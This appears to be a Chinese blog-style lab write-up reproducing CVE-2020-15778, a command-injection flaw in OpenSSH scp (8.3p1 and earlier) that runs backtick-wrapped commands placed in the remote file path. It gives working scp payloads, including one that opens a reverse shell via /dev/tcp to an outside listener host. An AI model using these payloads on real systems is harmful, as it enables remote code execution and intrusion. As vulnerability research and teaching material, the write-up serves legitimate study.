0x01 漏洞简介
SCP(secure copy)是linux系统下基于ssh登录进行安全远程文件拷贝的命令,可以在linux之间复制文件和目录。
OpenSSH中小于 8.3p1版本 SCP命令里存在命令注入漏洞。当将文件复制到远程服务器时,文件路径附加在本地scp命令的末尾,可以触发命令注入漏洞。
漏洞存在的点在 https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989
攻击者可以采用反引号(`)文件作为命令注入执行scp命令,命令将会发送到远程服务器并执行。
作者介绍是
将文件复制到远程服务器时,文件路径会附加在本地scp命令的末尾。例如,如果执行以下命令
scp SourceFile user@host:directory/TargetFile
它将执行本地命令
scp -t directory/TargetFile
大佬的原帖https://github.com/cpandya2909/CVE-2020-15778/
0x02 影响版本
version: <=openssh-8.3p1
0x03 漏洞复现
环境
靶机kali : 192.168.100.236
利用场景:已知 ssh 密码为 root
查看当然版本和主机信息
ssh -V && ifconfig
正常连接拷贝一下,命令学习一下
攻击机:
scp 本地文件 用户@远程IP:远程地址
scp ./config.yaml root@192.168.100.236:/root/zeo.yaml
#中途还是要身份验证,需要输入对应用户的密码
受害机:拷贝成功
漏洞复现
攻击机:
scp ./config.yaml root@192.168.100.236:'`touch /root/zeo_eval`/root/zeo2.yaml'
#’'`touch /root/zeo_eval`/root/zeo2.yaml' 单引号包裹全路径信息
#`touch /root/zeo_eval` 反引号包裹要执行的命令
#中途还是要身份验证,需要输入对应用户的密码
受害机:命令执行成功
反弹shell利用
VPS端:直接反弹加到payload里面发送,并开启nc监听
scp ./config.yaml root@192.168.100.236:'`sh -i >& /dev/tcp/110.110.110.110/6666 0>&1
`/root/zeo3.yaml'
VPS接到bash
0x04 修复建议
- 等待官方补丁
- 保护好自己的密码,ssh认证
0x05 总结
这个漏洞的利用还有点问题,因为还要bypass掉身份认证这个环节,才能远程命令执行,如果过了身份验证,那就牛逼大发了。
远程命令的执行,估计还得等大牛开发利用方式。